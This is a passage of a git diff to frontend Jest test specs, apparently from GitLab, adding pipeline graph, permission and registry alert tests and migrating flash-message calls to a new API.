const findButton = () => wrapper.find(GlButton);
+ const findDownstreamPipelineTitle = () => wrapper.find('[data-testid="downstream-title"]');
const findPipelineLabel = () => wrapper.find('[data-testid="downstream-pipeline-label"]');
const findLinkedPipeline = () => wrapper.find({ ref: 'linkedPipeline' });
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
@@ -119,6 +120,11 @@ describe('Linked pipeline', () => {
expect(findPipelineLabel().exists()).toBe(true);
});
+ it('should have the name of the trigger job on the card when it is a child pipeline', () => {
+ createWrapper(downstreamProps);
+ expect(findDownstreamPipelineTitle().text()).toBe(mockPipeline.source_job.name);
+ });
+
it('should display parent label when pipeline project id is the same as triggered_by pipeline project id', () => {
createWrapper(upstreamProps);
expect(findPipelineLabel().exists()).toBe(true);
diff --git a/spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap b/spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap
index c67b91ae190..16c28791514 100644
--- a/spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap
+++ b/spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap
@@ -21,3 +21,10 @@ exports[`Links Inner component with one need matches snapshot and has expected p
<path d=\\"M202,118L42,118C72,118,72,138,102,138\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
</svg> </div>"
`;
+
+exports[`Links Inner component with same stage needs matches snapshot and has expected path 1`] = `
+"<div class=\\"gl-display-flex gl-relative\\" totalgroups=\\"10\\"><svg id=\\"link-svg\\" viewBox=\\"0,0,1019,445\\" width=\\"1019px\\" height=\\"445px\\" class=\\"gl-absolute gl-pointer-events-none\\">
+ <path d=\\"M192,108L22,108C52,108,52,118,82,118\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M202,118L32,118C62,118,62,128,92,128\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ </svg> </div>"
+`;
diff --git a/spec/frontend/pipelines/graph_shared/links_inner_spec.js b/spec/frontend/pipelines/graph_shared/links_inner_spec.js
index bb1f0965469..8f39c8c2405 100644
--- a/spec/frontend/pipelines/graph_shared/links_inner_spec.js
+++ b/spec/frontend/pipelines/graph_shared/links_inner_spec.js
@@ -10,6 +10,7 @@ import {
pipelineData,
pipelineDataWithNoNeeds,
rootRect,
+ sameStageNeeds,
} from '../pipeline_graph/mock_data';
describe('Links Inner component', () => {
@@ -40,7 +41,7 @@ describe('Links Inner component', () => {
// We create fixture so that each job has an empty div that represent
// the JobPill in the DOM. Each `JobPill` would have different coordinates,
- // so we increment their coordinates on each iteration to simulat different positions.
+ // so we increment their coordinates on each iteration to simulate different positions.
const setFixtures = ({ stages }) => {
const jobs = createJobsHash(stages);
const arrayOfJobs = Object.keys(jobs);
@@ -81,7 +82,6 @@ describe('Links Inner component', () => {
afterEach(() => {
jest.restoreAllMocks();
wrapper.destroy();
- wrapper = null;
});
describe('basic SVG creation', () => {
@@ -160,6 +160,25 @@ describe('Links Inner component', () => {
});
});
+ describe('with same stage needs', () => {
+ beforeEach(() => {
+ setFixtures(sameStageNeeds);
+ createComponent({ pipelineData: sameStageNeeds.stages });
+ });
+
+ it('renders the correct number of links', () => {
+ expect(findAllLinksPath()).toHaveLength(2);
+ });
+
+ it('path does not contain NaN values', () => {
+ expect(wrapper.html()).not.toContain('NaN');
+ });
+
+ it('matches snapshot and has expected path', () => {
+ expect(wrapper.html()).toMatchSnapshot();
+ });
+ });
+
describe('with a large number of needs', () => {
beforeEach(() => {
setFixtures(largePipelineData);
diff --git a/spec/frontend/pipelines/header_component_spec.js b/spec/frontend/pipelines/header_component_spec.js
index 57d846c53c8..31f0e72c279 100644
--- a/spec/frontend/pipelines/header_component_spec.js
+++ b/spec/frontend/pipelines/header_component_spec.js
@@ -7,7 +7,9 @@ import retryPipelineMutation from '~/pipelines/graphql/mutations/retry_pipeline.
import {
mockCancelledPipelineHeader,
mockFailedPipelineHeader,
+ mockFailedPipelineNoPermissions,
mockRunningPipelineHeader,
+ mockRunningPipelineNoPermissions,
mockSuccessfulPipelineHeader,
} from './mock_data';
@@ -168,5 +170,19 @@ describe('Pipeline details header', () => {
});
});
});
+
+ describe('Permissions', () => {
+ it('should not display the cancel action if user does not have permission', () => {
+ wrapper = createComponent(mockRunningPipelineNoPermissions);
+
+ expect(findCancelButton().exists()).toBe(false);
+ });
+
+ it('should not display the retry action if user does not have permission', () => {
+ wrapper = createComponent(mockFailedPipelineNoPermissions);
+
+ expect(findRetryButton().exists()).toBe(false);
+ });
+ });
});
});
diff --git a/spec/frontend/pipelines/mock_data.js b/spec/frontend/pipelines/mock_data.js
index 16f15b20824..7e3c3727c9d 100644
--- a/spec/frontend/pipelines/mock_data.js
+++ b/spec/frontend/pipelines/mock_data.js
@@ -10,6 +10,7 @@ export const mockPipelineHeader = {
id: 123,
userPermissions: {
destroyPipeline: true,
+ updatePipeline: true,
},
createdAt: threeWeeksAgo.toISOString(),
user: {
@@ -34,6 +35,31 @@ export const mockFailedPipelineHeader = {
},
};
+export const mockFailedPipelineNoPermissions = {
+ id: 123,
+ userPermissions: {
+ destroyPipeline: false,
+ updatePipeline: false,
+ },
+ createdAt: threeWeeksAgo.toISOString(),
+ user: {
+ name: 'Foo',
+ username: 'foobar',
+ email: 'foo@bar.com',
+ avatarUrl: 'link',
+ },
+ status: PIPELINE_RUNNING,
+ retryable: true,
+ cancelable: false,
+ detailedStatus: {
+ group: 'running',
+ icon: 'status_running',
+ label: 'running',
+ text: 'running',
+ detailsPath: 'path',
+ },
+};
+
export const mockRunningPipelineHeader = {
...mockPipelineHeader,
status: PIPELINE_RUNNING,
@@ -48,6 +74,31 @@ export const mockRunningPipelineHeader = {
},
};
+export const mockRunningPipelineNoPermissions = {
+ id: 123,
+ userPermissions: {
+ destroyPipeline: false,
+ updatePipeline: false,
+ },
+ createdAt: threeWeeksAgo.toISOString(),
+ user: {
+ name: 'Foo',
+ username: 'foobar',
+ email: 'foo@bar.com',
+ avatarUrl: 'link',
+ },
+ status: PIPELINE_RUNNING,
+ retryable: false,
+ cancelable: true,
+ detailedStatus: {
+ group: 'running',
+ icon: 'status_running',
+ label: 'running',
+ text: 'running',
+ detailsPath: 'path',
+ },
+};
+
export const mockCancelledPipelineHeader = {
...mockPipelineHeader,
status: PIPELINE_CANCELED,
diff --git a/spec/frontend/pipelines/notification/pipeline_notification_spec.js b/spec/frontend/pipelines/notification/pipeline_notification_spec.js
deleted file mode 100644
index 79aa337ba9d..00000000000
--- a/spec/frontend/pipelines/notification/pipeline_notification_spec.js
+++ /dev/null
@@ -1,79 +0,0 @@
-import { GlBanner } from '@gitlab/ui';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { nextTick } from 'vue';
-import VueApollo from 'vue-apollo';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import PipelineNotification from '~/pipelines/components/notification/pipeline_notification.vue';
-import getUserCallouts from '~/pipelines/graphql/queries/get_user_callouts.query.graphql';
-
-describe('Pipeline notification', () => {
- const localVue = createLocalVue();
-
- let wrapper;
- const dagDocPath = 'my/dag/path';
-
- const createWrapper = (apolloProvider) => {
- return shallowMount(PipelineNotification, {
- localVue,
- provide: {
- dagDocPath,
- },
- apolloProvider,
- });
- };
-
- const createWrapperWithApollo = async ({ callouts = [], isLoading = false } = {}) => {
- localVue.use(VueApollo);
-
- const mappedCallouts = callouts.map((callout) => {
- return { featureName: callout, __typename: 'UserCallout' };
- });
-
- const mockCalloutsResponse = {
- data: {
- currentUser: {
- id: 45,
- __typename: 'User',
- callouts: {
- id: 5,
- __typename: 'UserCalloutConnection',
- nodes: mappedCallouts,
- },
- },
- },
- };
- const getUserCalloutsHandler = jest.fn().mockResolvedValue(mockCalloutsResponse);
- const requestHandlers = [[getUserCallouts, getUserCalloutsHandler]];
-
- const apolloWrapper = createWrapper(createMockApollo(requestHandlers));
- if (!isLoading) {
- await nextTick();
- }
-
- return apolloWrapper;
- };
-
- const findBanner = () => wrapper.findComponent(GlBanner);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('shows the banner if the user has never seen it', async () => {
- wrapper = await createWrapperWithApollo({ callouts: ['random'] });
-
- expect(findBanner().exists()).toBe(true);
- });
-
- it('does not show the banner while the user callout query is loading', async () => {
- wrapper = await createWrapperWithApollo({ callouts: ['random'], isLoading: true });
-
- expect(findBanner().exists()).toBe(false);
- });
-
- it('does not show the banner if the user has previously dismissed it', async () => {
- wrapper = await createWrapperWithApollo({ callouts: ['pipeline_needs_banner'.toUpperCase()] });
-
- expect(findBanner().exists()).toBe(false);
- });
-});
diff --git a/spec/frontend/pipelines/parsing_utils_spec.js b/spec/frontend/pipelines/parsing_utils_spec.js
index 96748ae9e5c..074009ae056 100644
--- a/spec/frontend/pipelines/parsing_utils_spec.js
+++ b/spec/frontend/pipelines/parsing_utils_spec.js
@@ -10,7 +10,7 @@ import {
getMaxNodes,
} from '~/pipelines/components/parsing_utils';
-import { mockParsedGraphQLNodes } from './components/dag/mock_data';
+import { mockParsedGraphQLNodes, missingJob } from './components/dag/mock_data';
import { generateResponse, mockPipelineResponse } from './graph/mock_data';
describe('DAG visualization parsing utilities', () => {
@@ -24,6 +24,12 @@ describe('DAG visualization parsing utilities', () => {
expect(unfilteredLinks[0]).toHaveProperty('target', 'test_a');
expect(unfilteredLinks[0]).toHaveProperty('value', 10);
});
+
+ it('does not generate a link for non-existing jobs', () => {
+ const sources = unfilteredLinks.map(({ source }) => source);
+
+ expect(sources.includes(missingJob)).toBe(false);
+ });
});
describe('filterByAncestors', () => {
@@ -88,7 +94,7 @@ describe('DAG visualization parsing utilities', () => {
These lengths are determined by the mock data.
If the data changes, the numbers may also change.
*/
- expect(parsed.nodes).toHaveLength(21);
+ expect(parsed.nodes).toHaveLength(mockParsedGraphQLNodes.length);
expect(cleanedNodes).toHaveLength(12);
});
});
diff --git a/spec/frontend/pipelines/pipeline_graph/mock_data.js b/spec/frontend/pipelines/pipeline_graph/mock_data.js
index a79917bfd48..db77e0a0573 100644
--- a/spec/frontend/pipelines/pipeline_graph/mock_data.js
+++ b/spec/frontend/pipelines/pipeline_graph/mock_data.js
@@ -162,6 +162,38 @@ export const parallelNeedData = {
],
};
+export const sameStageNeeds = {
+ stages: [
+ {
+ name: 'build',
+ groups: [
+ {
+ name: 'build_1',
+ jobs: [{ script: 'echo hello', stage: 'build', name: 'build_1' }],
+ },
+ ],
+ },
+ {
+ name: 'build',
+ groups: [
+ {
+ name: 'build_2',
+ jobs: [{ script: 'yarn test', stage: 'build', needs: ['build_1'] }],
+ },
+ ],
+ },
+ {
+ name: 'build',
+ groups: [
+ {
+ name: 'build_3',
+ jobs: [{ script: 'yarn test', stage: 'build', needs: ['build_2'] }],
+ },
+ ],
+ },
+ ],
+};
+
export const largePipelineData = {
stages: [
{
diff --git a/spec/frontend/pipelines/pipeline_graph/utils_spec.js b/spec/frontend/pipelines/pipeline_graph/utils_spec.js
index 070d3bf7dac..5816bc06fe3 100644
--- a/spec/frontend/pipelines/pipeline_graph/utils_spec.js
+++ b/spec/frontend/pipelines/pipeline_graph/utils_spec.js
@@ -111,6 +111,28 @@ describe('utils functions', () => {
});
});
+ it('removes needs which are not in the data', () => {
+ const inexistantJobName = 'job5';
+ const jobsWithNeeds = {
+ [jobName1]: job1,
+ [jobName2]: job2,
+ [jobName3]: job3,
+ [jobName4]: {
+ name: jobName4,
+ script: 'echo deploy',
+ stage: 'deploy',
+ needs: [inexistantJobName],
+ },
+ };
+
+ expect(generateJobNeedsDict(jobsWithNeeds)).toEqual({
+ [jobName1]: [],
+ [jobName2]: [],
+ [jobName3]: [jobName1, jobName2],
+ [jobName4]: [],
+ });
+ });
+
it('handles parallel jobs by adding the group name as a need', () => {
const size = 3;
const jobOptimize1 = 'optimize_1';
diff --git a/spec/frontend/pipelines/pipelines_spec.js b/spec/frontend/pipelines/pipelines_spec.js
index f9b59c5dc48..874ecbccf82 100644
--- a/spec/frontend/pipelines/pipelines_spec.js
+++ b/spec/frontend/pipelines/pipelines_spec.js
@@ -7,8 +7,8 @@ import { nextTick } from 'vue';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import Api from '~/api';
-import { getExperimentVariant } from '~/experimentation/utils';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import { getExperimentData, getExperimentVariant } from '~/experimentation/utils';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import NavigationControls from '~/pipelines/components/pipelines_list/nav_controls.vue';
import PipelinesComponent from '~/pipelines/components/pipelines_list/pipelines.vue';
@@ -23,6 +23,7 @@ import { stageReply, users, mockSearch, branches } from './mock_data';
jest.mock('~/flash');
jest.mock('~/experimentation/utils', () => ({
...jest.requireActual('~/experimentation/utils'),
+ getExperimentData: jest.fn().mockReturnValue(false),
getExperimentVariant: jest.fn().mockReturnValue('control'),
}));
@@ -48,6 +49,7 @@ describe('Pipelines', () => {
resetCachePath: `${mockProjectPath}/settings/ci_cd/reset_cache`,
newPipelinePath: `${mockProjectPath}/pipelines/new`,
codeQualityPagePath: `${mockProjectPath}/-/new/master?commit_message=Add+.gitlab-ci.yml+and+create+a+code+quality+job&file_name=.gitlab-ci.yml&template=Code-Quality`,
+ ciRunnerSettingsPath: `${mockProjectPath}/-/settings/ci_cd#js-runners-settings`,
};
const noPermissions = {
@@ -349,7 +351,7 @@ describe('Pipelines', () => {
it('displays a warning message if raw text search is used', () => {
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(RAW_TEXT_WARNING, 'warning');
+ expect(createFlash).toHaveBeenCalledWith({ message: RAW_TEXT_WARNING, type: 'warning' });
});
it('should update browser bar', () => {
@@ -563,6 +565,7 @@ describe('Pipelines', () => {
describe('when the code_quality_walkthrough experiment is active', () => {
beforeAll(() => {
+ getExperimentData.mockImplementation((name) => name === 'code_quality_walkthrough');
getExperimentVariant.mockReturnValue('candidate');
});
@@ -574,6 +577,29 @@ describe('Pipelines', () => {
});
});
+ describe('when the ci_runner_templates experiment is active', () => {
+ beforeAll(() => {
+ getExperimentData.mockImplementation((name) => name === 'ci_runner_templates');
+ getExperimentVariant.mockReturnValue('candidate');
+ });
+
+ it('renders two buttons', () => {
+ expect(findEmptyState().findAllComponents(GlButton).length).toBe(2);
+ expect(findEmptyState().findAllComponents(GlButton).at(0).text()).toBe(
+ 'Install GitLab Runners',
+ );
+ expect(findEmptyState().findAllComponents(GlButton).at(0).attributes('href')).toBe(
+ paths.ciRunnerSettingsPath,
+ );
+ expect(findEmptyState().findAllComponents(GlButton).at(1).text()).toBe(
+ 'Learn about Runners',
+ );
+ expect(findEmptyState().findAllComponents(GlButton).at(1).attributes('href')).toBe(
+ '/help/ci/quick_start/index.md',
+ );
+ });
+ });
+
it('does not render filtered search', () => {
expect(findFilteredSearch().exists()).toBe(false);
});
diff --git a/spec/frontend/pipelines/test_reports/stores/actions_spec.js b/spec/frontend/pipelines/test_reports/stores/actions_spec.js
index 6258b08dfbb..e931ddb8496 100644
--- a/spec/frontend/pipelines/test_reports/stores/actions_spec.js
+++ b/spec/frontend/pipelines/test_reports/stores/actions_spec.js
@@ -2,7 +2,7 @@ import MockAdapter from 'axios-mock-adapter';
import { getJSONFixture } from 'helpers/fixtures';
import { TEST_HOST } from 'helpers/test_constants';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as actions from '~/pipelines/stores/test_reports/actions';
import * as types from '~/pipelines/stores/test_reports/mutation_types';
diff --git a/spec/frontend/profile/account/components/update_username_spec.js b/spec/frontend/profile/account/components/update_username_spec.js
index a3d7b63373c..42adefcd0bb 100644
--- a/spec/frontend/profile/account/components/update_username_spec.js
+++ b/spec/frontend/profile/account/components/update_username_spec.js
@@ -2,7 +2,7 @@ import { GlModal } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'helpers/test_constants';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import UpdateUsername from '~/profile/account/components/update_username.vue';
@@ -146,7 +146,9 @@ describe('UpdateUsername component', () => {
await expect(wrapper.vm.onConfirm()).rejects.toThrow();
- expect(createFlash).toBeCalledWith('Invalid username');
+ expect(createFlash).toBeCalledWith({
+ message: 'Invalid username',
+ });
});
it("shows a fallback error message if the error response doesn't have a `message` property", async () => {
@@ -156,9 +158,9 @@ describe('UpdateUsername component', () => {
await expect(wrapper.vm.onConfirm()).rejects.toThrow();
- expect(createFlash).toBeCalledWith(
- 'An error occurred while updating your username, please try again.',
- );
+ expect(createFlash).toBeCalledWith({
+ message: 'An error occurred while updating your username, please try again.',
+ });
});
});
});
diff --git a/spec/frontend/projects/commit/components/form_modal_spec.js b/spec/frontend/projects/commit/components/form_modal_spec.js
index 9688cb47799..0c8089430d0 100644
--- a/spec/frontend/projects/commit/components/form_modal_spec.js
+++ b/spec/frontend/projects/commit/components/form_modal_spec.js
@@ -159,12 +159,7 @@ describe('CommitFormModal', () => {
});
it('Changes the target_project_id input value', async () => {
- createComponent(
- shallowMount,
- {},
- { glFeatures: { pickIntoProject: true } },
- { isCherryPick: true },
- );
+ createComponent(shallowMount, {}, {}, { isCherryPick: true });
findProjectsDropdown().vm.$emit('selectProject', '_changed_project_value_');
await wrapper.vm.$nextTick();
diff --git a/spec/frontend/projects/commits/store/actions_spec.js b/spec/frontend/projects/commits/store/actions_spec.js
index e2c993b8395..fdb12640b26 100644
--- a/spec/frontend/projects/commits/store/actions_spec.js
+++ b/spec/frontend/projects/commits/store/actions_spec.js
@@ -1,7 +1,7 @@
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import actions from '~/projects/commits/store/actions';
import * as types from '~/projects/commits/store/mutation_types';
import createState from '~/projects/commits/store/state';
@@ -39,7 +39,9 @@ describe('Project commits actions', () => {
actions.receiveAuthorsError(mockDispatchContext);
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith('An error occurred fetching the project authors.');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'An error occurred fetching the project authors.',
+ });
});
});
diff --git a/spec/frontend/protected_branches/protected_branch_edit_spec.js b/spec/frontend/protected_branches/protected_branch_edit_spec.js
index 40e31e24a14..b41b5028736 100644
--- a/spec/frontend/protected_branches/protected_branch_edit_spec.js
+++ b/spec/frontend/protected_branches/protected_branch_edit_spec.js
@@ -1,7 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import $ from 'jquery';
import { TEST_HOST } from 'helpers/test_constants';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import ProtectedBranchEdit from '~/protected_branches/protected_branch_edit';
@@ -69,7 +69,7 @@ describe('ProtectedBranchEdit', () => {
expect(mock.history.patch).toHaveLength(1);
expect(toggle).not.toBeDisabled();
- expect(flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
}));
});
@@ -81,7 +81,7 @@ describe('ProtectedBranchEdit', () => {
it('flashes error', () =>
axios.waitForAll().then(() => {
- expect(flash).toHaveBeenCalled();
+ expect(createFlash).toHaveBeenCalled();
}));
});
});
diff --git a/spec/frontend/registry/explorer/components/__snapshots__/registry_breadcrumb_spec.js.snap b/spec/frontend/registry/explorer/components/__snapshots__/registry_breadcrumb_spec.js.snap
index 4be4fce1abf..f80e2ce6ecc 100644
--- a/spec/frontend/registry/explorer/components/__snapshots__/registry_breadcrumb_spec.js.snap
+++ b/spec/frontend/registry/explorer/components/__snapshots__/registry_breadcrumb_spec.js.snap
@@ -26,6 +26,7 @@ exports[`Registry Breadcrumb when is not rootRoute renders 1`] = `
aria-hidden="true"
class="gl-icon s8"
data-testid="angle-right-icon"
+ role="img"
>
<use
href="#angle-right"
diff --git a/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js b/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
index dc9063bde2c..c8fcb3116cd 100644
--- a/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
+++ b/spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js
@@ -313,10 +313,10 @@ describe('tags list row', () => {
});
describe.each`
- name | finderFunction | text | icon | clipboard
- ${'published date detail'} | ${findPublishedDateDetail} | ${'Published to the gitlab-org/gitlab-test/rails-12009 image repository at 01:29 GMT+0000 on 2020-11-03'} | ${'clock'} | ${false}
- ${'manifest detail'} | ${findManifestDetail} | ${'Manifest digest: sha256:2cf3d2fdac1b04a14301d47d51cb88dcd26714c74f91440eeee99ce399089062'} | ${'log'} | ${true}
- ${'configuration detail'} | ${findConfigurationDetail} | ${'Configuration digest: sha256:c2613843ab33aabf847965442b13a8b55a56ae28837ce182627c0716eb08c02b'} | ${'cloud-gear'} | ${true}
+ name | finderFunction | text | icon | clipboard
+ ${'published date detail'} | ${findPublishedDateDetail} | ${'Published to the gitlab-org/gitlab-test/rails-12009 image repository at 01:29 UTC on 2020-11-03'} | ${'clock'} | ${false}
+ ${'manifest detail'} | ${findManifestDetail} | ${'Manifest digest: sha256:2cf3d2fdac1b04a14301d47d51cb88dcd26714c74f91440eeee99ce399089062'} | ${'log'} | ${true}
+ ${'configuration detail'} | ${findConfigurationDetail} | ${'Configuration digest: sha256:c2613843ab33aabf847965442b13a8b55a56ae28837ce182627c0716eb08c02b'} | ${'cloud-gear'} | ${true}
`('$name details row', ({ finderFunction, text, icon, clipboard }) => {
it(`has ${text} as text`, async () => {
mountComponent();
diff --git a/spec/frontend/registry/explorer/pages/list_spec.js b/spec/frontend/registry/explorer/pages/list_spec.js
index 48acc06792d..b58a53f0af2 100644
--- a/spec/frontend/registry/explorer/pages/list_spec.js
+++ b/spec/frontend/registry/explorer/pages/list_spec.js
@@ -5,6 +5,7 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import getContainerRepositoriesQuery from 'shared_queries/container_registry/get_container_repositories.query.graphql';
+import CleanupPolicyEnabledAlert from '~/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue';
import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
import DeleteImage from '~/registry/explorer/components/delete_image.vue';
import CliCommands from '~/registry/explorer/components/list_page/cli_commands.vue';
@@ -43,21 +44,22 @@ describe('List Page', () => {
let wrapper;
let apolloProvider;
- const findDeleteModal = () => wrapper.find(GlModal);
- const findSkeletonLoader = () => wrapper.find(GlSkeletonLoader);
+ const findDeleteModal = () => wrapper.findComponent(GlModal);
+ const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoader);
- const findEmptyState = () => wrapper.find(GlEmptyState);
+ const findEmptyState = () => wrapper.findComponent(GlEmptyState);
- const findCliCommands = () => wrapper.find(CliCommands);
- const findProjectEmptyState = () => wrapper.find(ProjectEmptyState);
- const findGroupEmptyState = () => wrapper.find(GroupEmptyState);
- const findRegistryHeader = () => wrapper.find(RegistryHeader);
+ const findCliCommands = () => wrapper.findComponent(CliCommands);
+ const findProjectEmptyState = () => wrapper.findComponent(ProjectEmptyState);
+ const findGroupEmptyState = () => wrapper.findComponent(GroupEmptyState);
+ const findRegistryHeader = () => wrapper.findComponent(RegistryHeader);
- const findDeleteAlert = () => wrapper.find(GlAlert);
- const findImageList = () => wrapper.find(ImageList);
- const findRegistrySearch = () => wrapper.find(RegistrySearch);
+ const findDeleteAlert = () => wrapper.findComponent(GlAlert);
+ const findImageList = () => wrapper.findComponent(ImageList);
+ const findRegistrySearch = () => wrapper.findComponent(RegistrySearch);
const findEmptySearchMessage = () => wrapper.find('[data-testid="emptySearch"]');
- const findDeleteImage = () => wrapper.find(DeleteImage);
+ const findDeleteImage = () => wrapper.findComponent(DeleteImage);
+ const findCleanupAlert = () => wrapper.findComponent(CleanupPolicyEnabledAlert);
const waitForApolloRequestRender = async () => {
jest.runOnlyPendingTimers();
@@ -560,4 +562,33 @@ describe('List Page', () => {
},
);
});
+
+ describe('cleanup is on alert', () => {
+ it('exist when showCleanupPolicyOnAlert is true and has the correct props', async () => {
+ mountComponent({
+ config: {
+ showCleanupPolicyOnAlert: true,
+ projectPath: 'foo',
+ isGroupPage: false,
+ cleanupPoliciesSettingsPath: 'bar',
+ },
+ });
+
+ await waitForApolloRequestRender();
+
+ expect(findCleanupAlert().exists()).toBe(true);
+ expect(findCleanupAlert().props()).toMatchObject({
+ projectPath: 'foo',
+ cleanupPoliciesSettingsPath: 'bar',
+ });
+ });
+
+ it('is hidden when showCleanupPolicyOnAlert is false', async () => {
+ mountComponent();
+
+ await waitForApolloRequestRender();
+
+ expect(findCleanupAlert().exists()).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/related_merge_requests/store/actions_spec.js b/spec/frontend/related_merge_requests/store/actions_spec.js
index a14096388e6..3bd07c34b6f 100644
--- a/spec/frontend/related_merge_requests/store/actions_spec.js
+++ b/spec/frontend/related_merge_requests/store/actions_spec.js
@@ -1,6 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as actions from '~/related_merge_requests/store/actions';
import * as types from '~/related_merge_requests/store/mutation_types';
@@ -100,7 +100,9 @@ describe('RelatedMergeRequest store actions', () => {
[{ type: 'requestData' }, { type: 'receiveDataError' }],
() => {
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(expect.stringMatching('Something went wrong'));
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.stringMatching('Something went wrong'),
+ });
done();
},
diff --git a/spec/frontend/releases/__snapshots__/util_spec.js.snap b/spec/frontend/releases/__snapshots__/util_spec.js.snap
index cad593b76ea..e0a1343c39c 100644
--- a/spec/frontend/releases/__snapshots__/util_spec.js.snap
+++ b/spec/frontend/releases/__snapshots__/util_spec.js.snap
@@ -5,6 +5,58 @@ Object {
"data": Array [
Object {
"_links": Object {
+ "closedIssuesUrl": "http://localhost/releases-namespace/releases-project/-/issues?release_tag=v1.2&scope=all&state=closed",
+ "closedMergeRequestsUrl": "http://localhost/releases-namespace/releases-project/-/merge_requests?release_tag=v1.2&scope=all&state=closed",
+ "editUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.2/edit",
+ "mergedMergeRequestsUrl": "http://localhost/releases-namespace/releases-project/-/merge_requests?release_tag=v1.2&scope=all&state=merged",
+ "openedIssuesUrl": "http://localhost/releases-namespace/releases-project/-/issues?release_tag=v1.2&scope=all&state=opened",
+ "openedMergeRequestsUrl": "http://localhost/releases-namespace/releases-project/-/merge_requests?release_tag=v1.2&scope=all&state=opened",
+ "self": "http://localhost/releases-namespace/releases-project/-/releases/v1.2",
+ "selfUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.2",
+ },
+ "assets": Object {
+ "count": 4,
+ "links": Array [],
+ "sources": Array [
+ Object {
+ "format": "zip",
+ "url": "http://localhost/releases-namespace/releases-project/-/archive/v1.2/releases-project-v1.2.zip",
+ },
+ Object {
+ "format": "tar.gz",
+ "url": "http://localhost/releases-namespace/releases-project/-/archive/v1.2/releases-project-v1.2.tar.gz",
+ },
+ Object {
+ "format": "tar.bz2",
+ "url": "http://localhost/releases-namespace/releases-project/-/archive/v1.2/releases-project-v1.2.tar.bz2",
+ },
+ Object {
+ "format": "tar",
+ "url": "http://localhost/releases-namespace/releases-project/-/archive/v1.2/releases-project-v1.2.tar",
+ },
+ ],
+ },
+ "author": Object {
+ "avatarUrl": "https://www.gravatar.com/avatar/16f8e2050ce10180ca571c2eb19cfce2?s=80&d=identicon",
+ "username": "administrator",
+ "webUrl": "http://localhost/administrator",
+ },
+ "commit": Object {
+ "shortId": "b83d6e39",
+ "title": "Merge branch 'branch-merged' into 'master'",
+ },
+ "commitPath": "http://localhost/releases-namespace/releases-project/-/commit/b83d6e391c22777fca1ed3012fce84f633d7fed0",
+ "descriptionHtml": "<p data-sourcepos=\\"1:1-1:23\\" dir=\\"auto\\">An okay release <gl-emoji title=\\"shrug\\" data-name=\\"shrug\\" data-unicode-version=\\"9.0\\">🤷</gl-emoji></p>",
+ "evidences": Array [],
+ "milestones": Array [],
+ "name": "The second release",
+ "releasedAt": "2019-01-10T00:00:00Z",
+ "tagName": "v1.2",
+ "tagPath": "/releases-namespace/releases-project/-/tags/v1.2",
+ "upcomingRelease": true,
+ },
+ Object {
+ "_links": Object {
"closedIssuesUrl": "http://localhost/releases-namespace/releases-project/-/issues?release_tag=v1.1&scope=all&state=closed",
"closedMergeRequestsUrl": "http://localhost/releases-namespace/releases-project/-/merge_requests?release_tag=v1.1&scope=all&state=closed",
"editUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/edit",
@@ -121,10 +173,10 @@ Object {
},
],
"paginationInfo": Object {
- "endCursor": "eyJpZCI6IjEifQ",
+ "endCursor": "eyJyZWxlYXNlZF9hdCI6IjIwMTgtMTItMTAgMDA6MDA6MDAuMDAwMDAwMDAwIFVUQyIsImlkIjoiMSJ9",
"hasNextPage": false,
"hasPreviousPage": false,
